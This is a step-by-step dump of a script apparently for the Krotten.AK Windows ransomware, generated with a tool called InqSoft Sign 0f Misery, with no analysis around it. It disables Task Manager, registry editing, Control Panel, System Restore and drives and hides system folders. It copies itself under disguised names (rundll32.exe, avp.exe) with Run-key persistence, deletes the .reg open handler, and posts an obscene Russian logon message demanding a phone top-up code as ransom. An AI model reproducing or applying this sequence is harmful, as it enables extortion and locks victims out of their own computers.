Script file name: Krotten.AK.s0m

# | Command | First parameter | Second parameter
1 | Change kernel message processing mode | Fast | N/A
2 | Debug messages on/off | off | N/A
3 | Create directory | C:\g1rFryAhrVg2xrt | N/A
4 | Create directory | C:\z515rKKNwyyrEkx | N/A
5 | Create directory | C:\OKZDdMvPhQTgQT5 | N/A
6 | Create directory | C:\g6QpgrhJDdQZeF0 | N/A
7 | Create directory | C:\eDFUqDqCUaUK66W | N/A
8 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
9 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
10 | Write binary data to registry | DisableTaskMgr | Binary data [8 byte(s)] 0400000001000000
11 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
12 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
13 | Write binary data to registry | DisableTaskMgr | Binary data [8 byte(s)] 0400000001000000
14 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
15 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
16 | Write binary data to registry | DisableRegistryTools | Binary data [8 byte(s)] 0400000001000000
17 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
18 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
19 | Write binary data to registry | NoDispCPL | Binary data [8 byte(s)] 0400000001000000
20 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
21 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
22 | Delete registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{59031a47-3f72-44a7-89c5-5595fe6b30ee} | N/A
23 | Create registry key | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters | N/A
24 | Open registry key | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters | N/A
25 | Write binary data to registry | DiskSpaceThreshold | Binary data [8 byte(s)] 0400000099000000
26 | Create registry key | HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
27 | Open registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
28 | Write binary data to registry | NoBrowserClose | Binary data [8 byte(s)] 0400000001000000
29 | Write binary data to registry | NoNavButtons | Binary data [8 byte(s)] 0400000001000000
30 | Write binary data to registry | NoSelectDownloadDir | Binary data [8 byte(s)] 0400000001000000
31 | Write binary data to registry | NoBrowserContextMenu | Binary data [8 byte(s)] 0400000001000000
32 | Write binary data to registry | NoBrowserOptions | Binary data [8 byte(s)] 0400000001000000
33 | Create registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
34 | Open registry key | HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions | N/A
35 | Write binary data to registry | NoBrowserClose | Binary data [8 byte(s)] 0400000001000000
36 | Write binary data to registry | NoNavButtons | Binary data [8 byte(s)] 0400000001000000
37 | Write binary data to registry | NoSelectDownloadDir | Binary data [8 byte(s)] 0400000001000000
38 | Write binary data to registry | NoBrowserContextMenu | Binary data [8 byte(s)] 0400000001000000
39 | Write binary data to registry | NoBrowserOptions | Binary data [8 byte(s)] 0400000001000000
40 | Create registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
41 | Open registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
42 | Write string value to registry | WallpaperOriginX | 210
43 | Write string value to registry | WallpaperOriginY | 187
44 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
45 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
46 | Write binary data to registry | NoViewContextMenu | Binary data [8 byte(s)] 0400000001000000
47 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
48 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
49 | Write binary data to registry | Start_ShowRun | Binary data [8 byte(s)] 0400000000000000
50 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main | N/A
51 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main | N/A
52 | Write string value to registry | Window title | :::::::::::::::::: МОЙ ХУЙ ПРОТУХ А ПИЗДА ГНИЕТ ::::::::::::::::::
53 | Write string value to registry | Start Page | http://poetry.rotten.com/lightning/
54 | Create registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
55 | Open registry key | HKEY_CURRENT_USER\Control Panel\Desktop | N/A
56 | Write string value to registry | MenuShowDelay | 9999
57 | Create registry key | HKEY_CURRENT_USER\Control Panel\International | N/A
58 | Open registry key | HKEY_CURRENT_USER\Control Panel\International | N/A
59 | Write string value to registry | sTimeFormat | ХУЙ
60 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | N/A
61 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon | N/A
62 | Write string value to registry | LegalNoticeCaption | DANGER
63 | Write string value to registry | LegalNoticeText | Для того чтобы восстановить нормальную работу своего компьютера не потеряв ВСЮ информацию! И с экономив деньги, пришли мне на e-mail wordsia@notrix.de код пополнения счета киевстар на 25 гривень. В ответ в течение двенадцати часов на свой e-mail ты получишь фаил для удаления этой программы.
64 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon | N/A
65 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon | N/A
66 | Write string value to registry | LegalNoticeCaption | DANGER
67 | Write string value to registry | LegalNoticeText | Для того чтобы восстановить нормальную работу своего компьютера не потеряв ВСЮ информацию! И с экономив деньги, пришли мне на e-mail wordsia@notrix.de код пополнения счета киевстар на 25 гривень. В ответ в течение двенадцати часов на свой e-mail ты получишь фаил для удаления этой программы.
68 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore | N/A
69 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore | N/A
70 | Write binary data to registry | DisableSR | Binary data [8 byte(s)] 0400000001000000
71 | Write binary data to registry | RPLifeInterval | Binary data [8 byte(s)] 0400000001000000
72 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main | N/A
73 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
74 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main | N/A
75 | Write string value to registry | Window title | :::::::::::::::::: МОЙ ХУЙ ПРОТУХ А ПИЗДА ГНИЕТ ::::::::::::::::::
76 | Write string value to registry | Start Page | http://poetry.rotten.com/lightning/
77 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
78 | Write binary data to registry | NoStartMenuPinnedList | Binary data [8 byte(s)] 0400000001000000
79 | Write binary data to registry | NoStartMenuMFUprogramsList | Binary data [8 byte(s)] 0400000001000000
80 | Write binary data to registry | NoStartMenuSubFolders | Binary data [8 byte(s)] 0400000001000000
81 | Write binary data to registry | NoCommonGroups | Binary data [8 byte(s)] 0400000001000000
82 | Write binary data to registry | NoSMMyPictures | Binary data [8 byte(s)] 0400000001000000
83 | Write binary data to registry | NoStartMenuMyMusic | Binary data [8 byte(s)] 0400000001000000
84 | Write binary data to registry | NoSMMyDocs | Binary data [8 byte(s)] 0400000001000000
85 | Write binary data to registry | NoDesktop | Binary data [8 byte(s)] 0400000001000000
86 | Write binary data to registry | NoActiveDesktop | Binary data [8 byte(s)] 0400000001000000
87 | Write binary data to registry | NoViewOnDrive | Binary data [8 byte(s)] 0400000001000000
88 | Write binary data to registry | NoControlPanel | Binary data [8 byte(s)] 0400000001000000
89 | Write numeric value to registry | NoDrives | 1044
90 | Write binary data to registry | NoRun | Binary data [8 byte(s)] 0400000001000000
91 | Write binary data to registry | NoFind | Binary data [8 byte(s)] 0400000001000000
92 | Write binary data to registry | NoFavoritesMenu | Binary data [8 byte(s)] 0400000001000000
93 | Write binary data to registry | NoRecentDocsMenu | Binary data [8 byte(s)] 0400000001000000
94 | Write binary data to registry | NoLogOff | Binary data [8 byte(s)] 0400000001000000
95 | Write binary data to registry | NoClose | Binary data [8 byte(s)] 0400000001000000
96 | Write binary data to registry | NoSaveSettings | Binary data [8 byte(s)] 0400000001000000
97 | Write binary data to registry | NoUserNameInStartMenu | Binary data [8 byte(s)] 0400000001000000
98 | Write binary data to registry | NoToolbarCustomize | Binary data [8 byte(s)] 0400000001000000
99 | Write binary data to registry | NoThemesTab | Binary data [8 byte(s)] 0400000001000000
100 | Write binary data to registry | NoSMHelp | Binary data [8 byte(s)] 0400000001000000
101 | Write binary data to registry | NoPrinterTabs | Binary data [8 byte(s)] 0400000001000000
102 | Write binary data to registry | NoPrinters | Binary data [8 byte(s)] 0400000001000000
103 | Write binary data to registry | NoNetHood | Binary data [8 byte(s)] 0400000001000000
104 | Write binary data to registry | NoManageMyComputerVerb | Binary data [8 byte(s)] 0400000001000000
105 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
106 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
107 | Write binary data to registry | {20D04FE0-3AEA-1069-A2D8-08002B30309D} | Binary data [8 byte(s)] 0400000001000000
108 | Write binary data to registry | {450D8FBA-AD25-11D0-98A8-0800361B1103} | Binary data [8 byte(s)] 0400000001000000
109 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
110 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
111 | Write binary data to registry | NoAddRemovePrograms | Binary data [8 byte(s)] 0400000001000000
112 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
113 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer | N/A
114 | Write binary data to registry | NoViewContextMenu | Binary data [8 byte(s)] 0400000001000000
115 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
116 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced | N/A
117 | Write binary data to registry | Start_ShowRun | Binary data [8 byte(s)] 0400000000000000
118 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
119 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer | N/A
120 | Write binary data to registry | NoStartMenuPinnedList | Binary data [8 byte(s)] 0400000001000000
121 | Write binary data to registry | NoStartMenuMFUprogramsList | Binary data [8 byte(s)] 0400000001000000
122 | Write binary data to registry | NoStartMenuSubFolders | Binary data [8 byte(s)] 0400000001000000
123 | Write binary data to registry | NoCommonGroups | Binary data [8 byte(s)] 0400000001000000
124 | Write binary data to registry | NoSMMyPictures | Binary data [8 byte(s)] 0400000001000000
125 | Write binary data to registry | NoStartMenuMyMusic | Binary data [8 byte(s)] 0400000001000000
126 | Write binary data to registry | NoSMMyDocs | Binary data [8 byte(s)] 0400000001000000
127 | Write binary data to registry | NoDesktop | Binary data [8 byte(s)] 0400000001000000
128 | Write binary data to registry | NoActiveDesktop | Binary data [8 byte(s)] 0400000001000000
129 | Write binary data to registry | NoViewOnDrive | Binary data [8 byte(s)] 0400000001000000
130 | Write binary data to registry | NoControlPanel | Binary data [8 byte(s)] 0400000001000000
131 | Write numeric value to registry | NoDrives | 1044
132 | Write binary data to registry | NoRun | Binary data [8 byte(s)] 0400000001000000
133 | Write binary data to registry | NoFind | Binary data [8 byte(s)] 0400000001000000
134 | Write binary data to registry | NoFavoritesMenu | Binary data [8 byte(s)] 0400000001000000
135 | Write binary data to registry | NoRecentDocsMenu | Binary data [8 byte(s)] 0400000001000000
136 | Write binary data to registry | NoLogOff | Binary data [8 byte(s)] 0400000001000000
137 | Write binary data to registry | NoClose | Binary data [8 byte(s)] 0400000001000000
138 | Write binary data to registry | NoSaveSettings | Binary data [8 byte(s)] 0400000001000000
139 | Write binary data to registry | NoUserNameInStartMenu | Binary data [8 byte(s)] 0400000001000000
140 | Write binary data to registry | NoToolbarCustomize | Binary data [8 byte(s)] 0400000001000000
141 | Write binary data to registry | NoThemesTab | Binary data [8 byte(s)] 0400000001000000
142 | Write binary data to registry | NoSMHelp | Binary data [8 byte(s)] 0400000001000000
143 | Write binary data to registry | NoPrinterTabs | Binary data [8 byte(s)] 0400000001000000
144 | Write binary data to registry | NoPrinters | Binary data [8 byte(s)] 0400000001000000
145 | Write binary data to registry | NoNetHood | Binary data [8 byte(s)] 0400000001000000
146 | Write binary data to registry | NoManageMyComputerVerb | Binary data [8 byte(s)] 0400000001000000
147 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
148 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum | N/A
149 | Write binary data to registry | {20D04FE0-3AEA-1069-A2D8-08002B30309D} | Binary data [8 byte(s)] 0400000001000000
150 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
151 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall | N/A
152 | Write binary data to registry | NoAddRemovePrograms | Binary data [8 byte(s)] 0400000001000000
153 | Create registry key | HKEY_USERS\S-1-5-21-1229272821-179605362-682003330-1003\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp | N/A
154 | Open registry key | HKEY_USERS\S-1-5-21-1229272821-179605362-682003330-1003\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp | N/A
155 | Write binary data to registry | Disabled | Binary data [8 byte(s)] 0400000001000000
156 | Write binary data to registry | NoRealMode | Binary data [8 byte(s)] 0400000001000000
157 | Create registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
158 | Open registry key | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
159 | Write binary data to registry | DisableRegistryTools | Binary data [8 byte(s)] 0400000001000000
160 | Change file attributes | C:\Program Files | [+]..SH [-]....
161 | Change file attributes | C:\WINDOWS | [+]..SH [-]....
162 | Create directory | C:\Windows 91 | N/A
163 | Create directory | C:\WINDOWS\Web | N/A
164 | Change file attributes | C:\WINDOWS\Web | [+]..SH [-]....
165 | Copy file | Setup.exe | C:\WINDOWS\Web\rundll32.exe
166 | Change file attributes | C:\WINDOWS\Web\rundll32.exe | [+]..SH [-]....
167 | Create directory | C:\WINDOWS\Cursors | N/A
168 | Copy file | Setup.exe | C:\WINDOWS\Cursors\avp.exe
169 | Change file attributes | C:\WINDOWS\Cursors\avp.exe | [+]..SH [-]....
170 | Create registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | N/A
171 | Open registry key | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | N/A
172 | Write string value to registry | svchost | C:\WINDOWS\Web\rundll32.exe
173 | Write string value to registry | AVPCC | C:\WINDOWS\Cursors\avp.exe
174 | Delete registry key | HKEY_CLASSES_ROOT\regfile\shell\open\command | N/A
175 | Create registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
176 | Open registry key | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | N/A
177 | Write binary data to registry | NoDispCPL | Binary data [8 byte(s)] 0400000001000000
178 | Show MessageBox | Перезагрузите компьютер! И почитайте, что необходимо предпринять. E-mail разработчиков программы wordsia@notrix.de | #40040
179 | Set new time | 20 hr 18 min 12.10.2020 | N/A
180 | Terminate script if file closed | N/A | N/A

Description:
Script header:Все готово!
Program:
Protection:
Cracker:
Group:
Released:

Parameters:
"Invisible" (for other scripts) mode
Don't show running script window
Set script start directory as current

Generated by InqSoft Sign 0f Misery